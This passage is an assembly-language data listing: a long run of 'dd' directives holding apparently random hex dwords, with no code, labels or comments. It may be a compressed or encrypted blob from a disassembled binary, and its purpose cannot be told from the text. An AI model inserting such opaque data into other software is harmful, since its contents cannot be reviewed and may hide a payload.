25C133DDh dd 0FB0B305Eh, 0E056BA26h, 60A5C509h, 0BBCCFCh, 447C268Ah dd 74D64C37h, 8B009079h, 13667B28h, 0BC327Ah, 0E39BF7B4h dd 224D0CA1h, 6EFDEC00h, 1BBF60C2h, 94070306h, 0DF7952C5h dd 7A8D32F8h, 0F41EA300h, 59B3F905h, 6D741E48h, 0E00D40F7h dd 2FC16A97h, 0DD93B500h, 0BAEEFC04h, 29CF0039h, 76701195h dd 0D800F52Bh, 6EC34FB1h, 0FE6A2A3h, 7A3828C5h, 522103E0h dd 2000EA22h, 0CBCE0D63h, 3DDA61h, 459694F3h, 9F2DFDD1h dd 80DD4627h, 6419891Ch, 740F4ECh, 0C72CC17Eh, 2D9C7087h dd 920301F3h, 0A0C87593h, 4240F897h, 58D31CB4h, 2E26890Bh dd 578CE080h, 0AF409651h, 163F007Ah, 7B668F2Bh, 943E093Ah dd 4503AE1Bh, 0C3350700h, 184CCEA4h, 203D98DEh, 0FC1F480Ah dd 94E41AEFh, 117C042h, 0F42F291Ch, 38005314h, 0A88643B7h dd 0EAD156Ch, 2ECB8950h, 3A83E26Fh, 0BDB8C255h, 37098E9Bh dd 82CCA2A4h, 5A5C80D8h, 0FF901DCh, 760D75B0h, 72FD4028h dd 0C8798251h, 57DC7E05h, 0E2003EF5h, 17A31178h, 147918C4h dd 26721606h, 0ED0F6904h, 22804A2Eh, 56559D2h, 2B93D79Ah dd 0E0648328h, 82FE8798h, 3B0081B8h, 9DE163F7h, 5767D8h dd 30E0DAADh, 2B51D2C4h, 591B9700h, 7ADE330Ch, 2F3205A6h dd 0C0E030BDh, 89DC733Eh, 619BF002h, 407707ECh, 14AE98h dd 0C7F9B9EBh, 1E71E217h, 0D3442A00h, 892448F3h, 7067006Ch dd 0C6025008h, 0CB0F9F6Ah, 7FBD3AFDh, 0F9774180h, 74B25F60h dd 0A497008Eh, 36FD2F6Bh, 5B0F282Ch, 40E74149h, 4E988455h dd 0CC454893h, 407D3C1Fh, 9F3FE434h, 18595291h, 206A8FBCh dd 0CA9A06AAh, 1E0D275Ch, 33FC5880h, 4C07230Ah, 0C36D979Dh dd 993685D0h, 9BCF0E84h, 83E0FC90h, 32B9477Bh, 4ABF0500h dd 5B1E79FAh, 0F871006Fh, 851DF168h, 24006388h, 0E359902Ch dd 18B29F0h, 1171F7EDh, 8038983Ch, 0D75A43DCh, 1C53FA9Ch dd 4010C3EBh, 9268D26Ch, 4A2A9356h, 0F267E015h, 0AFF08254h dd 1B7605Bh, 93A9B622h, 30AB16B8h, 881F059Eh, 0B24051BBh dd 53F47ABDh, 1CF8007Bh, 0F9E8E7C5h, 820E8F85h, 0A0150E38h dd 0E0D47CB6h, 37AE39B5h, 0CD304100h, 0A9699334h, 208EEF00h dd 0CFA63A78h, 0FD7B1F08h, 0BF8900FCh, 87F0DD63h, 21A77300h dd 0E4F7C2E5h, 0DBD800C0h, 66C69213h, 362E8356h, 0B3003531h dd 6B907338h, 0CD01009Ah, 0FF2D3428h, 0CC0084ECh, 5589E7E1h dd 0CFBF78h, 90AFC19h, 94FBDF66h, 3F80C0B4h, 57DB34B4h dd 655A00E9h, 0EFEAC470h, 0DA00747Ch, 0EE24F182h, 0C06872B9h dd 0C03E993Ch, 0FF0423D0h, 91DC9D6Eh, 1E2A8EC0h, 54F000ACh dd 23352552h, 8F00E87Eh, 41BA50A0h, 0EABCF944h, 1AAD0090h dd 74FDA133h, 0E67E799Ah, 0FC87B00h, 10CA3919h, 0E56850DBh dd 368A03A3h, 0F7D6FA65h, 609BAEF0h, 8CFFE900h, 0C6E70EADh dd 11B70E28h, 0BC4B819Ch, 0F1174E87h, 0FC2F1C8Fh, 0E100B451h dd 0E3A405A8h, 320A59h, 0C83AFB81h, 7DED83B5h, 0C4007873h dd 13DC8F2Eh, 747F2AEh, 5B5DE039h, 0E50580EAh, 3002695h dd 8CF858B2h dd 535F4Dh, 4F5137C4h, 7AA23855h, 0BC0368ECh, 0F8026AB2h dd 8794D88Dh, 0E4D00DDh, 1D9E4486h, 0BA1C1EF1h, 0C800E6F9h dd 0C2D329D6h, 834C0006h, 3B0F792h, 87A48D4h, 89EA0400h dd 0BBFDCD4Fh, 121100AAh, 60F5332Ch, 8412562Bh, 0D500B1F3h dd 444F50CFh, 4DC30005h, 709DC0CDh, 0D400661Eh, 0D16534ABh dd 60773E94h, 0D7C05053h, 86E9DBFCh, 34720638h, 1C707458h dd 804664EFh, 2B626DB5h, 526088CCh, 99F0A889h, 0EFCF0063h dd 6895A5FBh, 84A8C6B3h, 0CA1B87FCh, 7C2062E9h, 0BA0C0E78h dd 41DF7A6Dh, 9BB18DF4h, 0B9584177h, 1020D253h, 1A666A4h dd 0EB9F34A8h, 0CB8753Ah, 0B138DB9Ah, 15339801h, 0C8E889BCh dd 3B78F1C0h, 7F8028D7h, 0B56BD204h, 0E258AAC5h, 0B327004Dh dd 0E8242CA1h, 0B849002Fh, 694603Ch, 0F100BB42h, 0D7AA950Ah dd 0F7F205h, 0B656973Ah, 51536EDEh, 16EADF00h, 3085EC50h dd 0D18F031Ah, 0E0FABD65h, 0E6CF0095h, 11C5CDEh, 0C3892300h dd 0C9CC08E3h, 0CB700BAh, 55E416EFh, 0C4005C43h, 0ED5D7FEEh dd 634FECh, 2B2A1CDh, 6D5A4C56h, 31B2D00h, 6C7DAFDAh, 0A6E0E360h dd 0A57100E7h, 91650930h, 0DA00D29Bh, 7601C6DEh, 0FE7903BBh dd 26300ACh, 6AE2FBCDh, 203E5EB4h, 0C9B580D3h, 5A019E10h dd 0BAE113AAh, 3DCF00CFh, 462FFD65h, 956E3900h, 57B48E80h dd 504F0386h, 0B31E3496h, 515A100Ch, 3052819h, 0C0C9871Ah dd 0F4A85E3Bh, 0D13E6092h, 42EF808Ah, 6E620AA4h, 641400F1h dd 0A6769423h, 2C071A7Fh, 33728481h, 2B78EA41h, 1F67CCh dd 9CC89459h, 0EDE29F4Ah, 54AFD900h, 0AB6FD7A4h, 635D00CEh dd 5CB9D84Bh, 800716Bh, 6255C5A3h, 0CEED12h, 1874FE88h dd 57A02035h, 17001090h, 0C523B08Dh, 2A7F901h, 0D8B244EDh dd 6440EC93h, 0F8007FF2h, 0B93FBF9Fh, 3079DF0Ch, 0AD88AEFh dd 0AC24540Fh, 5087A4F2h, 3490E29Ch, 36917Bh, 179046FAh dd 22BBA583h, 40202108h, 0BCF20013h, 0CEC60E2Ch, 2B4CF100h dd 14CB2653h, 907400C4h, 58E8EB30h, 0E248EEEFh, 66CE0E8Ch dd 33270702h, 0E170CD97h, 18A11CD6h, 4ECC9548h, 0A9004CE0h dd 0FDC3E49Eh, 0C065804h, 0C70586D5h, 0ED9046E0h, 4C64E800h dd 0FE02657Ch, 6C710CCCh, 0BE981E81h, 0C590324h, 0F57E0883h dd 0EC04E5CCh, 14041CFDh, 0D5254195h, 1420C1B7h, 0EC9C4827h dd 9F2CD2Eh, 80733E0h, 5CC2598h, 18FB52Ch, 0C8320FB4h dd 215984C0h, 61044153h, 72AF2184h, 850E811h, 0B49120ECh dd 88154321h, 6604C7EDh, 0C946CF65h, 81FEB134h, 722B1084h dd 796410E0h, 4E281484h, 5D84D0FFh, 0CD5A449Fh, 9E132D21h dd 4215959h, 4E253B7h, 18214F70h, 6BB197E3h, 0AFC0D10h dd 808E0646h, 5DDA1583h, 9FA68145h, 1C5A430h, 638187FFh dd 810A2FE2h, 530F09D8h, 788730F3h, 1258F0A4h, 0C4A020D2h dd 51C81571h, 0A77EB619h, 5CE452C8h, 1788C04Dh, 325EE6DCh dd 0D5BF9B07h, 0F1202D12h, 6094E83Ah, 0FB0CA0CAh, 9C1DE9F7h dd 87C434EAh, 4C3BFF2h, 0B583A831h, 138E0ACFh, 8090C707h dd 432C416Ch, 0E8706ACDh, 80569E28h, 0E6BB0B06h, 158E1B8h dd 4F7C69EFh, 0D6B0CA5Ah, 8D96F484h, 0D82540h, 0A7633684h dd 952C227Ah, 4301AAC1h, 7D4A744Dh, 84E0A850h, 378200E6h dd 4EC5FBE5h, 0C4284627h, 0CD00AC1Dh, 22E6D313h, 697CACFh dd 0A611BF9h, 8512B006h, 28011073h, 0A10ED507h, 1222EC40h dd 47E318C8h, 0C4FAC846h, 5EDB1900h, 52927EAAh, 0FC6D00E2h dd 0A3CFC8ABh, 0D4002A5Ch, 8C015469h, 52B259h, 6F96BA9Bh dd 2B14659Fh, 0A8032777h, 0CC2FC153h, 0FA708F5Dh, 3BA9AD06h dd 0F01E0858h, 7100786Ch, 5B0ED156h, 0E60023A8h, 58576EB3h dd 0F7C9C46h, 4B6620FBh, 1BF66540h, 9775A330h, 50005374h dd 528F092h, 7E1548Ch, 6CA46675h, 2AB1B0C1h, 0F30EDE10h dd 80C2C008h, 1E27F7B5h, 4E719Ch, 367DF9B7h, 6D3A4CFh dd 83D5900h, 0F3BC9FBDh, 0B7A0097h, 7B4EDFF8h, 0F200F542h dd 3409AC5h, 2B1049h, 0EDC647B1h, 346E32D2h, 9D31503h dd 4A50CF7h, 0B0D63E99h, 435F00D0h, 865817h, 48E7451Ch dd 0F966312Fh, 0F6767B07h, 0F70524Ch, 3E124D1Bh, 0E38740D5h dd 2EE62575h, 0FB9D4C61h, 78B9C487h, 406B5D07h, 0E7909F7Eh dd 0FF036AC4h, 13843E0h, 7DB5962h, 0F004F48Ch, 0F0F1A0DCh dd 8000947Ah, 783467E2h, 4344D2h, 0DCCEF94Eh, 5B72FFDBh dd 11B23306h, 0B0296349h, 8728D082h, 0EFE49B09h, 72781A07h dd 0ACC02263h, 6581390h, 67F800D8h, 5B04FEE8h, 0B831004Fh dd 0F61144EFh, 0CC018E41h, 0D499EA4Dh, 28C07588h, 2AEF008Dh dd 1B7689D7h, 0B80096F9h, 0B62B7A3Eh, 1C082844h, 4047EE5Bh dd 16469FD0h, 0CE038354h, 6EC084DBh, 3CB087CDh, 241B7252h dd 3A42D976h, 55544E80h, 0E7785DCh, 5D663Eh, 24FFDD06h dd 3B3B04EAh, 0B0BAE07h, 0C287CFF3h, 80DCE46Dh, 4F726F15h dd 680E7805h, 96B1E38Ch, 0F273C8h, 0BA363AD9h, 61B66517h dd 3C8E163Eh, 70EF00E5h, 0AF80FD2Ah, 0FE2E00D2h, 0E707106Ah dd 6700BD43h, 6DBC6896h, 506CC116h, 733D065h, 258FFC9Ch dd 0CD8AB156h, 0C519CC3Eh, 23D1D300h, 9647581Eh, 563400A6h dd 444966BCh, 1824020Fh, 6E0066C0h, 5053A2B1h, 7D167D8Dh dd 0A909033Fh, 0C621147Dh, 0D2659D98h, 4B91B800h, 3C59BCD5h dd 0D760339h, 33F9BD82h, 0B5F531F0h, 56BB931Ch, 0EEFAFE40h dd 7A9995h, 0ABF8EDF3h, 0B3303D3Fh, 32633101h, 0C29F047Ch dd 3EC81EDCh, 3B9E2239h, 3420404Dh, 562965A0h, 0B8E83890h dd 0E243ED00h, 78A4940Ah, 89463DDCh, 6FA8450Eh, 0C4213760h dd 9400E981h, 0B85D2AD3h, 0DDD04h, 0BD5633E7h, 0BC24F5Eh dd 0AFE16900h, 159057D8h, 875B0041h, 988AB3D5h, 0DD00F5E7h dd 93421FD2h, 186E4Dh, 0CD85E4C1h, 0CADE8D9Ch, 0DD1A48h dd 16B217D3h, 0F66C61Bh, 8A457DCFh, 0FF55E6E0h, 0AE00E54Ch dd 0EE0C8536h, 4843C3BBh, 0A138A8E4h, 9AD1C800h, 94CA14A5h dd 23BBBF00h, 977B51F5h, 46111D3Ah, 0D767C01Ah, 20373BAEh dd 0B96D5B00h, 0EA5F322Eh, 59C8014Ah, 7B3A269Ch, 0EF76F8E7h dd 210F0DF0h, 28293Ch, 0D531BA58h, 204F0632h, 0C1A393C3h dd 15661E00h, 0CC79132Eh, 14D903E6h, 6A05AFE7h, 6BE21000h dd 0F2BB19EBh, 429F0FC3h, 0DA6C6251h, 0CFECC2C0h, 63003F90h dd 0A9201B19h, 154D2BEh, 72214292h, 0DC48A522h, 0EB07DEC5h dd 591902DDh, 0ED1BEEF0h, 40A94801h, 8FF09300h, 3B7181A1h dd 24E41300h, 0E101C6D2h, 0B4060018h, 51C943EEh, 0E9001B3Dh dd 1A194AC5h, 0C211EAh, 0D757E702h, 0F12A7986h, 20E19009h dd 8458A223h, 0FEE8A0BBh, 7D45A361h, 0E3410046h, 0B181716Ah dd 6600A180h, 0BA14DCBEh, 0FDE67Ah, 50C67D17h, 51B13105h dd 25A76907h, 9F13AC4Eh, 8B4BB992h, 3C8F930h, 0CDAF87D6h dd 94E801AAh, 0F003EF77h, 857F6795h, 0A9880F37h, 0C3006A08h dd 0B03C1B51h, 83002890h, 8292E2D7h, 2C251718h, 5312FEh dd 374CF7DCh, 0F23D30CBh, 0D16C67A5h, 22DE1FA0h, 5A5500A4h dd 6809F0Ah, 0B8733486h, 0B78FA50Fh, 0C04522ADh, 54B2404Ch dd 0BFC53E1Ch, 1B530902h, 0B0400FE7h, 4901804Ah, 1D18CCCDh dd 0A6F8D017h, 0E1A50342h, 0AC7FDD7Eh, 0A0E9E29Bh, 6DF434F7h dd 0BEC9AD00h dd 0C864CE6Ch, 45B700F9h, 114DAECBh, 0B800DC88h, 0EDDD0150h dd 398ECEAh, 0D615F5C0h, 2BB8ABC4h, 6D01DF72h, 0E09B0702h dd 40DE8335h, 0F775BCh, 0F84D29A5h, 0EA9A81BCh, 7E3F9700h dd 5F438A4h, 0F5FA00B7h, 0CCFCF19Fh, 0A8E09E08h, 0F73A5200h dd 0B546BD83h, 930E00B6h, 0D92FE365h, 0ED001E66h, 351A015Bh dd 0F2BD09Ch, 0ABD1BD41h, 0FE0D2900h, 7C0047BAh, 3B188B32h dd 21C9D5h, 3124BED2h, 0F11D98AFh, 472D2C0Fh, 36464043h dd 0F575B7h, 82F32820h, 0FD2B8898h, 0F1475416h, 6E65F00h dd 38E5054Ch, 0A189EBE7h, 0F7325Dh, 942989A4h, 0F88002Bh dd 0FDFB0B2Eh, 987396FCh, 0C51820EDh, 90EF4C20h, 277FE4h dd 6A12A568h, 1BE6D147h, 0B8FAB01Eh, 8F4D3E80h, 585297F5h dd 78074005h, 0D0B6D051h, 8347A1A8h, 0B3649E01h, 7E10456Ch dd 5FF024h, 78552F14h, 0F11A9DA2h, 0B522400h, 4D7FBAF6h dd 0D9C43A4Eh, 0A764FA07h, 372C408Bh, 6800D35Ah, 0CB8FCC1Ah dd 3E9B96h, 0C3F79DBFh, 0EFF6E8A8h, 4D21E701h, 0DDDBE63Dh dd 681AD540h, 841D0159h, 0B4BAC95Ah, 0C383E067h, 85AA8700h dd 0DF0F372Eh, 8BE50016h, 0B395BD2Ch, 30160603h, 200C2D1h dd 0E801FB8Ch, 8E0801E3h, 1D5DC8C9h, 9FB8C8B1h, 545550C0h dd 0F9843h, 135FCDCEh, 0A040D09h, 65928C00h, 1F95516Fh dd 30380074h, 1C624BB8h, 4D00D45Ah, 0F4F0E999h, 0FE31E812h dd 531D003Fh, 61383AEBh, 5B008064h, 0F1C3F39Bh, 0D0C4EEh dd 2F955D1Ch, 608999F6h, 5EFA9860h, 71E72D2h, 0EEDAC18Dh dd 501C3046h, 0B90E63A2h, 0A08C94FBh, 0E9E4B33Fh, 0C393079Dh dd 404ADEFDh, 6DC4BE5Dh, 9E5D60Bh, 64B4A1EAh, 40FADA6Eh dd 1DFFC5BCh, 0C0102BEBh, 0B84F52E5h, 0BE608D6Fh, 0EFA1C921h dd 0FBB000B5h, 0F2CB559Ch, 850B9EB8h, 800BDA95h, 0E294079Dh dd 61E8600Fh, 579B1A79h, 7B0BA480h, 96EA0082h, 8BF8A8BDh dd 0BF0E15C9h, 0C0C3DAAAh, 906313CCh, 0B28000D9h, 0DE5E0760h dd 9B027E3Ah, 5F4B7C7Dh, 0F5706338h, 88F0F0C7h, 13E19B0h dd 439F216Ch, 0C8978C4Eh, 0DB00E9F9h, 8258BCD2h, 0F6C257h dd 497EC772h, 12652FCAh, 80D5C300h, 52A4D4E6h, 308E1F77h dd 89098093h, 940C42C0h, 5D4C3100h, 0E518AE5h, 0F2E611h dd 42DBC5CAh, 607A711Ch, 0C4008FF6h, 70BACC6Ch, 0FE437FFh dd 4FBBA10Ah, 91411620h, 803A5C6h, 4435CE1Eh, 53FFE03Bh dd 962F00A9h, 670FE5E6h, 0DB00DCF2h, 0C11F7656h, 17A1AD8h dd 3362D798h, 75FB19DAh, 0B739E04Ch, 58577706h, 655696C7h dd 90EF08A6h, 0C919E98h, 0E2CF852Ch, 0C8C0271Ch, 0ED5594ECh dd 5FC70008h, 90162DBh, 0D73E10C1h, 0BC474A56h, 3AF16382h dd 24203C9Eh, 123B1D98h, 2F92407Ah, 0FC0BC74Ch, 31264430h dd 480D9D2Ah, 0B306EF7Bh, 687FBBC3h, 4297DF00h, 0B262D8E5h dd 7C3DF023h, 2A60C452h, 0F403039h, 0AA3608AFh, 0AA4A44F2h dd 8F56030h, 5E11005Dh, 4BF6810Eh, 75242DA0h, 5136004Eh dd 2C171E60h, 16E1004Dh, 0F2F85F7Fh, 654F0600h, 0B8120C94h dd 0B8982Dh, 2AC75946h, 7456F978h, 8042D53Eh, 701625ACh dd 0F07F56Eh, 13AD8E73h, 5DFBC0FDh, 0AA4710A8h, 2BF6A700h dd 1836053Bh, 338B1EA5h, 0E2A040B0h, 1AD258C7h, 443B2C00h dd 0B34E0AFAh, 7E1E86Fh, 0B8CBF48Bh, 0DDFBB0F1h, 4A7EFE18h dd 2C861100h, 3EF939BBh, 4005693Ah, 8E183B80h, 51C71722h dd 0DDA3A36Dh, 7F5AB057h, 1F261C93h, 0FC9C8316h, 291CD607h dd 1BBB18Eh, 50CA1301h, 92205EB4h, 395009Bh, 0A289EFE1h dd 442C8DBAh, 0AF005DAAh, 0FB6FD771h, 0B4CB18ECh, 7B4D4819h dd 0E270457Bh, 7B700C2Ch, 2FC1F400h, 3B2B03FDh, 0EB80DCF9h dd 0D54138ABh, 0B500AD6Eh, 0A13BE9B7h, 0AF567CBh, 3E908C54h dd 4EC9398h, 8062E633h, 6F0CE116h, 0F8CB91Dh, 348B6440h dd 5897D761h, 4E3C8750h, 883DAC15h, 0EEEAF805h, 2B9C40BDh dd 2A7CDB22h, 0B100FFA3h, 4350AF05h, 18F73378h, 1845FA4Bh dd 0E800235Ch, 3DDC9780h, 0F1AD86F4h, 503F18ECh, 0F0B03099h dd 0E7F00BCh, 77B607ACh, 3C000FB2h, 4C86E60Dh, 704F4Ah dd 0DE26E897h, 8C7BE575h, 0DC95F800h, 0B168E363h, 43CC0082h dd 0D3D2A6BEh, 3B00EC60h, 6FC617E4h, 93837Bh, 9EE3E11Eh dd 0E9B60227h, 0F05B93Ah, 770DEA82h, 0F7807000h, 7E27C006h dd 0BA071C2h, 2B89FAE1h, 0E7CC9E81h, 1F8E60EFh, 4B01EBEEh dd 12BFC23Bh, 9309486h, 21F660B6h, 0A2DCD235h, 3480D01Ch dd 0FA4E9C80h, 0E215E23Fh, 95A4004Fh, 7133BB9Bh, 0EE0F43C5h dd 9D51DE9Dh, 0EA0F2BC3h, 7F3FA03Bh, 19AD6718h, 0F081805Ch dd 20396F43h, 0F3F9039Eh, 0C36A4493h, 0C2F88BBEh, 0F0716091h dd 0CB0F0C23h, 9A908105h, 0C3D994C0h, 21E6878h, 0B83FCAD0h dd 0A3E0B290h, 0DB0365F7h, 0EA2CFE57h, 0DE01D0ABh, 2D7E86h dd 0E66383C1h, 82B5DD14h, 0B450A972h, 0F141FB8h, 7CA84FDBh dd 0C6B99701h, 9B5E46F3h, 0E8F52D20h, 8A1C0071h, 0A730673Dh dd 3F30EFFFh, 8E7F48E7h, 799100D3h, 1B22AD31h, 216B64Bh dd 23009AAAh, 27BB5ACAh, 3B300241h, 0D0C6D2DAh, 0F98FDD62h dd 7FFE3780h, 0B1624346h, 0E0679738h, 3D357h, 0F5CA6BB4h dd 0A193DE12h, 2AAFC400h, 0EB887ED6h, 18400354h, 20358482h dd 61A098CBh, 1C0E7F4Ch, 0A9A81F96h, 30240CCBh, 38F890h dd 913E0C73h, 1F133795h, 0F0B72C00h, 898767AEh, 3EC1EEFFh dd 7218E4CCh, 0C73A38D4h, 5F26BC00h, 5A53719Eh, 0A5DB0079h dd 59FC7635h, 1E3A5C58h, 0D17F0017h, 0F8CEB68Eh, 8C0F18D7h dd 23611939h, 0A51BF203h, 0D5C5A2h, 0DF0D8F58h, 43B276BEh dd 8077283Bh, 3C22BA8h, 1CB142FCh, 8384097Ah, 192204E6h dd 47909100h, 91C4305Ah, 92D900F5h, 0D708908h, 9700B401h dd 4FE6DDB1h, 800258h, 0B5DBB926h, 0E2453472h, 64ED9E01h dd 784B5D9Ch, 0E760DCh, 0D25AF8D6h, 8F091BCBh, 3665FE00h dd 0D45C503Bh, 0D9D0A06Bh, 8DBE01C7h, 1BA7581Ah, 0E4288004h dd 9E094126h, 12450095h, 0BE3093D5h, 7D3DB9FBh, 0B07BFED4h dd 8837920Fh, 0D5A6003h, 48B1F5h, 1F7DDD64h, 9D5F9BCEh dd 741EE3Eh, 2D3A0E87h, 9768A5A1h, 0FD63420h, 0EC5E6AC1h dd 3C00EB34h, 0E7655425h, 167B2797h, 6400D0EAh, 4B1F8BC7h dd 14343B92h, 2098091Eh, 18F4E0B1h, 0C70D004Fh, 0F94D33Dh dd 5100174Bh, 1F69B041h, 1EB6D9A1h, 333FDC8h, 892B3115h dd 0E5544800h, 97E84881h, 0CB32002Ah, 0D5D8D998h, 0F60394B0h dd 65D1D320h, 608F9793h, 0BA86AD54h, 0E3AF0317h, 0EBA3A528h dd 6475DDA0h, 67854C00h, 7B555A1Fh, 66E60021h, 0D7028D69h dd 0C8C0CC68h, 0CBF3A973h, 0DBD005Bh, 65D3353Dh, 0BC02F7DDh dd 0E3B0D6F2h, 8608E0BBh, 70420710h, 8084DAFCh, 8727D41Fh dd 55C0A600h, 41EDF657h, 0C72A0194h, 0E5786B18h, 0DE788258h dd 0B18CF996h, 2AE8CD80h, 0C09446F2h, 0EE3201C8h, 0A1F0C028h dd 197AC64Ah, 7B9DCF07h, 39B247Ch, 0B3BF5BABh, 57B688CEh dd 0F2FC00C6h, 0C9E58D81h, 9B00964Dh, 0E682B0D2h, 0C0E790h dd 0EB69F865h, 73578CF5h, 42029D72h, 53510DB6h, 742440BCh dd 70691471h, 1EE220A0h, 0CA59E38h, 0CA28B3A7h, 2C019F88h dd 0ACE97483h, 0D041B1FBh, 14F02002h, 0DFC103CCh, 3FF1A790h dd 0EAEB35E1h, 0C6C7DC80h dd 7A7553A8h, 38D2EC12h, 62C39400h, 0AFFE8B3h, 0D393E08Eh dd 0BE2800CCh, 143E6621h, 0E1FB021Dh, 483B528Dh, 1E170AD0h dd 0D9776Dh, 0EB7DA65Dh, 300072AEh, 20210F67h, 1D87E218h dd 4161E407h, 73396DEAh, 50E7FF09h, 566CD9DBh, 0D8709700h dd 0EAE00175h, 2E811F8Bh, 3C74465Dh, 0F0088DDh, 38022A08h dd 24F7F40h, 0C8C2EA04h, 47C1B484h, 0AF2889F0h, 0ECFE005Bh dd 456E79h, 5CD044B6h, 0FDE9C2DAh, 4DE50500h, 0EBFBE38Ch dd 0AD110087h, 0CDE4B6F3h, 0F0C06860h, 0B2F5F097h, 0CBD30070h dd 0F21E6F76h, 0B13C10FEh, 74650012h, 0C81CB4F0h, 9CF4BDh dd 26F68760h, 57789220h, 8A888407h, 0BAE1256Eh, 0C3E5A5A9h dd 3E747D4h, 14C91836h, 0D1D0388Ch, 0FE005819h, 736E8903h dd 13E532h, 0A5EE25B8h, 0A98B76A6h, 0C9015A00h, 0E2719390h dd 0B2450750h, 4047E304h, 0E1C7D6CCh, 0DB155500h, 9BFEEE7Bh dd 0F8A0005Eh, 0BEB50938h, 0CA00F3E8h, 0F6F54551h, 0D5C3D6h dd 0FBBBB4C8h, 4C6E803Ah, 615D8D1Bh, 58286868h, 61587804h dd 0A0393E00h, 0CA1C6CABh, 2E280C79h, 0E52049ECh, 6FF46000h dd 1C6664ADh, 8ABF04F3h, 0EA6D6B76h, 40FD9D0Fh, 2D8EE6C5h dd 0AE070072h, 254F74B0h, 6907CFA4h, 0A74D734Ch, 0A0E680FBh dd 3FEA7A21h, 0CD80EBFFh, 7EB25D32h, 0BA056EB3h, 0B56B7FCBh dd 78528C02h, 0B4877DA3h, 0DDE4217Eh, 802BD97Ch, 0A56317C1h dd 0F9AC38h, 1FD1A107h, 0FC427186h, 0BBC79300h, 0AF77CBC9h dd 0B0E454AEh, 0EEB00B1h, 5F719BEh, 8E0A8C1Eh, 0CC6F0971h dd 0B3CC5E80h, 3513B47h, 0FBF96AE9h, 5AB8335Fh, 0AF0083ADh dd 0A54C7AEDh, 7E3DD7h, 2446E432h, 0EE50F26Ah, 908C860Dh dd 61D8A0C5h, 3CEB0087h, 0DE96E77Eh, 0D80012EDh, 38A17035h dd 7E854FFh, 166C79F6h, 60F245FEh, 814652BCh, 0D634AD08h dd 216E501Dh, 701EF603h, 0B8CAF273h, 0FBA695h, 19B9B694h dd 0E8D2A152h, 8184FD51h, 0AA4F9F48h, 7AD0D61Bh, 29BE7C6Eh dd 87B87670h, 4116A23Ch, 8D7C2EEh, 0BBCB40E1h, 9A6D80h dd 0AB5344D0h, 58473BEDh, 8F184090h, 8270D4E7h, 3280394Ah dd 54E4C70Ah, 866140D8h, 7F7C1498h, 7AE94E12h, 79CF5002h dd 3F7C905Bh, 0AFDC02F6h, 0F276944Ch, 40F40822h, 1326277Ch dd 0F9E9F6h, 7EBE8F39h, 89C447B2h, 7C901F19h, 873234h dd 81E445B9h, 69FB8A2Ah, 8802E8A2h, 7CA078D3h, 5C57A35Dh dd 8CBD3621h, 0BC20B616h, 3BA54000h, 57AFBB89h, 1232B8D5h dd 4ED886A0h, 0BC07ADCh, 89678B74h, 0BC0080F8h, 870445DAh dd 7B8CF9Ch, 11284DEh, 6679529Fh, 0F4567890h, 14AFDD04h dd 9921717Eh, 4AC8927Bh, 9F0CB000h, 717BD0Bh, 41F1E189h dd 78C900E3h, 0F603CA8Dh, 6F233E0Fh, 895DF850h, 0D2A802F0h dd 0D162413Ah, 0AA21E0A0h, 80007C33h, 8AB2DD73h, 0EBE6A8h dd 9C51D86Bh, 3B9977Eh, 0B8447A48h, 564336h, 9407CFCCh dd 12378EDAh, 6B75A181h, 0DA5B00BCh, 0D2B18B73h, 296A01FBh dd 803DB4Ch, 4867E051h, 3ECC9700h, 4E3D6DDh, 0C8D8E1C0h dd 55B70F2Bh, 9DA71C9Bh, 0DC2416Bh, 70D4C8AFh, 0D14244A5h dd 86AC185Ch, 0A2E57E01h, 9E4C70BFh, 3C5C14E0h, 8207FED6h dd 108A5BBCh, 6F9CE653h, 3F005471h, 796072A4h, 9150B91Dh dd 2A42D26Ch, 0EA986C98h, 0CB4FA2Ch, 16E72383h, 0E3BEC0E2h dd 0FFBC00A4h, 0E5C37E8Ah, 9800DD82h, 79844553h, 0E09F06h dd 0EC95C45Dh, 0D4CB5631h, 57F72409h, 77EC90AFh, 7EB424Ch dd 0A499D71Bh, 0BB71ECFAh, 3287D7E7h, 4DAD3DD1h, 38C1B020h dd 78E082E9h, 477036B2h, 4B6C1B04h, 0A8900EE2h, 3D3D0A0Ch dd 48801320h, 0C454AAEEh, 6F00D8CDh, 6DFE7E75h, 245F77DDh dd 0C0C4D5BAh, 5714A3E2h, 0C25E7E3Eh, 8060DC24h, 27A3BAA1h dd 31000360h, 6BE9A726h, 180721h, 8A259574h, 0C77E8711h dd 0C14A6600h, 6DB2628h, 4F2A0CD7h, 4448CD76h, 3C8FB4B0h dd 3CA000A4h, 6C403700h, 4E03FD80h, 0CEDA00E3h, 4AC1DA6h dd 8616A93Fh, 3804CC25h, 1D30C521h, 0AC10852Eh, 30C47E26h dd 10E080E4h, 0F20024D3h, 6425ECA5h, 0D53D17h, 69FA0873h dd 0B1622CA4h, 0BB4A0201h, 0BEC54194h, 17295E4h, 0A57BDF8Dh dd 30D59B8Ch, 303E0BCh, 5EE9780Bh, 4AEB865h, 0BC9C145Bh dd 8A878C9h, 8C27018Ch, 0BD4D75AAh, 0B809F0E9h, 0B71B440Eh dd 0FDE7401Fh, 4CA1B296h, 211287F9h, 0DED443DCh, 0B1F0D332h dd 0CD1C054Eh, 0F84226F7h, 0C07090A7h, 5A21E1Ah, 0DF51E57Fh dd 9FB8C3D9h, 0B293E0B8h, 0AC007C92h, 0ECAA19D7h, 2E23F836h dd 1284BF5Ah, 41C840A4h, 0A69FA1AEh, 7D24B301h, 0EDE6215Ah dd 0AB21424h, 0A4BCE5C6h, 19DB8728h, 0E4D6D15Eh, 75000A1Fh dd 0B8B719D3h, 0CC0077CAh, 0F9822BADh, 48DA7434h, 2E15B87Bh dd 0D52E28AAh, 863E3CF6h, 9C28D4h, 974C71B9h, 3049F0Fh dd 4E59FD00h, 0E665B20Bh, 78106ADh, 78BE7925h, 0C401DE98h dd 0B97426F4h, 10302369h, 0B8953C7Ch, 31D0B292h, 600EEE24h dd 1A241FECh, 9D452409h, 90FFF4D3h, 0F643972h, 0E498347h dd 7FE86240h, 0C8046602h, 905ADAF1h, 0C723DC90h, 2CCC4CD0h dd 0BA8FA801h, 89DF63EEh, 977A0210h, 7B97045Ch, 0B89B20C9h dd 1ED21C86h, 80802E3Bh, 0BB60FB6Dh, 9C3E8D01h, 7AA9803Fh dd 0C91F92F7h, 621A16B7h, 0E4004379h, 0DDE88286h, 0BC3028FDh dd 5543F8E5h, 0CC4C006Eh, 60060712h, 800F8FC3h, 603A7584h dd 4FE2B45Bh, 52AF01FEh, 7DA25C40h, 589028D5h, 37002D5h dd 5262E9A4h, 5500788h, 298D6FB5h, 0FEE38820h, 42003399h dd 